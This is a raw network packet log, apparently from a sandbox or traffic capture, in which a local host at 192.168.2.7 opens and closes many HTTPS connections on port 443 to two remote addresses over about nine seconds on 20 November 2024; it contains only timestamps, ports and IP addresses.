Nov 20, 2024 17:42:59.076436996 CET	50052	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:42:59.077536106 CET	50052	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:42:59.077549934 CET	443	50052	142.250.181.68	192.168.2.7
Nov 20, 2024 17:42:59.303491116 CET	443	50048	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.307125092 CET	443	50048	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.307204008 CET	443	50048	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.307233095 CET	50048	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.307276964 CET	50048	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.310129881 CET	443	50047	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.310405016 CET	443	50047	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.310487986 CET	50047	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.313304901 CET	50048	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.313330889 CET	443	50048	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.313344955 CET	50048	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.313352108 CET	443	50048	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.344258070 CET	50047	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.344311953 CET	443	50047	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.344331026 CET	50047	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.344341040 CET	443	50047	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.463181973 CET	50053	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.463243008 CET	443	50053	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.463366985 CET	50053	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.465693951 CET	50053	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.465720892 CET	443	50053	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.468569040 CET	50054	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.468591928 CET	443	50054	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.468652964 CET	50054	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.472229958 CET	50054	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.472243071 CET	443	50054	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.976905107 CET	443	50049	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.977565050 CET	50049	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.977586031 CET	443	50049	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.978085041 CET	50049	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:59.978091955 CET	443	50049	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.438185930 CET	443	50049	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.441024065 CET	443	50049	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.441122055 CET	50049	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:00.441188097 CET	50049	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:00.441206932 CET	443	50049	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.441219091 CET	50049	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:00.441224098 CET	443	50049	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.444241047 CET	50055	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:00.444345951 CET	443	50055	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.444427967 CET	50055	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:00.444600105 CET	50055	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:00.444628000 CET	443	50055	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.575994968 CET	443	50050	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.576632023 CET	50050	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:00.576673985 CET	443	50050	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.577178001 CET	50050	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:00.577188015 CET	443	50050	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.586735964 CET	443	50051	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.587352037 CET	50051	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:00.587382078 CET	443	50051	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.587858915 CET	50051	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:00.587865114 CET	443	50051	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:00.875041008 CET	443	50052	142.250.181.68	192.168.2.7
Nov 20, 2024 17:43:00.875461102 CET	50052	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:43:00.875478983 CET	443	50052	142.250.181.68	192.168.2.7
Nov 20, 2024 17:43:00.876661062 CET	443	50052	142.250.181.68	192.168.2.7
Nov 20, 2024 17:43:00.876972914 CET	50052	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:43:00.877140999 CET	443	50052	142.250.181.68	192.168.2.7
Nov 20, 2024 17:43:00.924717903 CET	50052	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:43:01.021877050 CET	443	50050	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.026387930 CET	443	50050	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.026448011 CET	50050	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.026515007 CET	50050	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.026534081 CET	443	50050	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.026542902 CET	50050	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.026549101 CET	443	50050	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.029584885 CET	50056	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.029650927 CET	443	50056	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.029736996 CET	50056	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.029885054 CET	50056	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.029906988 CET	443	50056	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.053237915 CET	443	50051	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.056368113 CET	443	50051	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.056534052 CET	50051	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.056561947 CET	443	50051	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.056576014 CET	443	50051	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.056626081 CET	50051	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.056672096 CET	50051	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.056684971 CET	443	50051	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.056694984 CET	50051	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.056699991 CET	443	50051	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.059214115 CET	50057	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.059304953 CET	443	50057	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.059396029 CET	50057	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.059523106 CET	50057	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.059555054 CET	443	50057	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.199412107 CET	443	50053	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.199968100 CET	50053	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.200015068 CET	443	50053	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.200493097 CET	50053	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.200501919 CET	443	50053	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.340107918 CET	443	50054	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.340671062 CET	50054	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.340687037 CET	443	50054	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.341367960 CET	50054	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.341372967 CET	443	50054	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.639775991 CET	443	50053	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.640090942 CET	443	50053	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.640170097 CET	50053	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.640242100 CET	50053	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.640242100 CET	50053	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.640283108 CET	443	50053	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.640314102 CET	443	50053	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.643515110 CET	50058	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.643589020 CET	443	50058	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.643681049 CET	50058	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.643812895 CET	50058	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.643835068 CET	443	50058	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.794630051 CET	443	50054	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.797499895 CET	443	50054	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.797617912 CET	443	50054	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.797689915 CET	50054	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.797759056 CET	50054	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.797759056 CET	50054	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.797790051 CET	50054	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.797799110 CET	443	50054	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.801222086 CET	50059	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.801310062 CET	443	50059	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:01.801392078 CET	50059	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.801549911 CET	50059	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:01.801577091 CET	443	50059	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.290580034 CET	443	50055	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.314311028 CET	50055	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.314353943 CET	443	50055	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.314893961 CET	50055	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.314908028 CET	443	50055	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.752522945 CET	443	50055	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.755615950 CET	443	50055	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.755688906 CET	50055	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.755753040 CET	50055	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.755753040 CET	50055	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.755784988 CET	443	50055	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.755808115 CET	443	50055	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.759047031 CET	50060	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.759083033 CET	443	50060	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.759164095 CET	50060	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.759357929 CET	50060	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.759376049 CET	443	50060	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.794177055 CET	443	50057	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.794658899 CET	50057	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.794676065 CET	443	50057	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.795145988 CET	50057	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.795150995 CET	443	50057	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.876305103 CET	443	50056	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.884301901 CET	50056	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.884362936 CET	443	50056	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:02.884805918 CET	50056	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:02.884820938 CET	443	50056	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.228023052 CET	443	50057	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.231281996 CET	443	50057	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.231345892 CET	50057	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.231410027 CET	443	50057	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.231448889 CET	443	50057	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.231503963 CET	50057	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.231575012 CET	50057	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.231575012 CET	50057	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.231611967 CET	443	50057	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.231637955 CET	443	50057	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.234498024 CET	50061	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.234529018 CET	443	50061	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.234605074 CET	50061	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.234791994 CET	50061	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.234807968 CET	443	50061	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.320405006 CET	443	50056	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.320602894 CET	443	50056	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.320691109 CET	50056	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.320780039 CET	50056	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.320822001 CET	443	50056	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.320851088 CET	50056	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.320868015 CET	443	50056	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.329937935 CET	50062	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.329965115 CET	443	50062	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.330049992 CET	50062	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.330390930 CET	50062	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.330405951 CET	443	50062	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.469599962 CET	443	50058	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.470487118 CET	50058	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.470515013 CET	443	50058	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.471028090 CET	50058	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.471036911 CET	443	50058	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.621213913 CET	443	50059	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.621897936 CET	50059	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.621931076 CET	443	50059	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.622431040 CET	50059	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.622442007 CET	443	50059	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.912761927 CET	443	50058	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.915760040 CET	443	50058	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.915847063 CET	50058	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.915920973 CET	50058	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.915920973 CET	50058	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.915960073 CET	443	50058	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.915983915 CET	443	50058	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.918905973 CET	50063	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.918936014 CET	443	50063	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:03.919020891 CET	50063	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.919205904 CET	50063	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:03.919219971 CET	443	50063	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:04.066309929 CET	443	50059	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:04.069430113 CET	443	50059	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:04.069511890 CET	50059	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:04.069590092 CET	50059	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:04.069590092 CET	50059	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:04.069619894 CET	443	50059	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:04.069647074 CET	443	50059	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:04.072412014 CET	50064	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:04.072475910 CET	443	50064	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:04.072565079 CET	50064	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:04.072746038 CET	50064	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:04.072779894 CET	443	50064	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:04.597379923 CET	443	50060	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:04.598028898 CET	50060	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:04.598047018 CET	443	50060	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:04.598552942 CET	50060	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:04.598558903 CET	443	50060	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.043838978 CET	443	50060	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.047080994 CET	443	50060	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.047136068 CET	443	50060	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.047137022 CET	50060	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.047190905 CET	50060	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.047247887 CET	50060	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.047269106 CET	443	50060	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.047283888 CET	50060	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.047288895 CET	443	50060	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.050489902 CET	50065	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.050527096 CET	443	50065	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.050604105 CET	50065	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.050853014 CET	50065	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.050873041 CET	443	50065	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.094995022 CET	443	50061	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.095479965 CET	50061	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.095505953 CET	443	50061	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.096581936 CET	50061	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.096586943 CET	443	50061	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.142605066 CET	443	50062	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.142962933 CET	50062	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.142976046 CET	443	50062	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.143729925 CET	50062	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.143733978 CET	443	50062	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.540848970 CET	443	50061	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.543776035 CET	443	50061	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.543837070 CET	50061	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.543878078 CET	50061	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.543903112 CET	443	50061	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.543916941 CET	50061	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.543931961 CET	443	50061	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.546797991 CET	50066	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.546884060 CET	443	50066	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.546983957 CET	50066	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.547118902 CET	50066	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.547151089 CET	443	50066	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.587142944 CET	443	50062	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.590537071 CET	443	50062	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.590600014 CET	443	50062	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.590600967 CET	50062	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.590657949 CET	50062	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.590711117 CET	50062	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.590730906 CET	443	50062	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.590743065 CET	50062	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.590750933 CET	443	50062	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.593044043 CET	50067	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.593086004 CET	443	50067	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.593178988 CET	50067	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.593301058 CET	50067	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.593313932 CET	443	50067	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.775032997 CET	443	50063	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.775638103 CET	50063	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.775670052 CET	443	50063	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.776123047 CET	50063	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.776130915 CET	443	50063	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.919948101 CET	443	50064	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.958141088 CET	50064	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.958225965 CET	443	50064	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:05.958667994 CET	50064	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:05.958683014 CET	443	50064	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.253397942 CET	443	50063	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.256485939 CET	443	50063	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.256551027 CET	50063	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.256627083 CET	50063	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.256648064 CET	443	50063	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.256660938 CET	50063	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.256666899 CET	443	50063	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.259821892 CET	50068	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.259845018 CET	443	50068	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.259907007 CET	50068	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.260066032 CET	50068	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.260082006 CET	443	50068	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.364140987 CET	443	50064	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.367470026 CET	443	50064	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.367537022 CET	50064	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.367578983 CET	50064	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.367598057 CET	443	50064	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.367613077 CET	50064	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.367619991 CET	443	50064	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.370735884 CET	50069	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.370773077 CET	443	50069	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.370857000 CET	50069	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.371072054 CET	50069	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.371085882 CET	443	50069	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.950385094 CET	443	50065	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.951112986 CET	50065	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.951131105 CET	443	50065	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:06.951694965 CET	50065	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:06.951699972 CET	443	50065	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.404021978 CET	443	50065	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.407139063 CET	443	50065	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.407937050 CET	50065	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.408091068 CET	50065	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.408099890 CET	443	50065	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.408108950 CET	50065	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.408116102 CET	443	50065	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.411385059 CET	50070	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.411434889 CET	443	50070	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.411499023 CET	50070	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.411667109 CET	50070	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.411689043 CET	443	50070	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.452629089 CET	443	50067	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.453955889 CET	50067	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.453964949 CET	443	50067	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.454485893 CET	50067	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.454489946 CET	443	50067	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.563658953 CET	443	50066	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.564655066 CET	50066	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.564709902 CET	443	50066	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.565201998 CET	50066	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.565215111 CET	443	50066	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.935842991 CET	443	50067	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.939193964 CET	443	50067	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.941953897 CET	50067	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.941987038 CET	50067	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.941998959 CET	443	50067	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.942019939 CET	50067	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.942027092 CET	443	50067	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.945533037 CET	50071	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.945558071 CET	443	50071	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:07.945656061 CET	50071	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:07.945859909 CET	50071	443	192.168.2.7	13.107.246.63
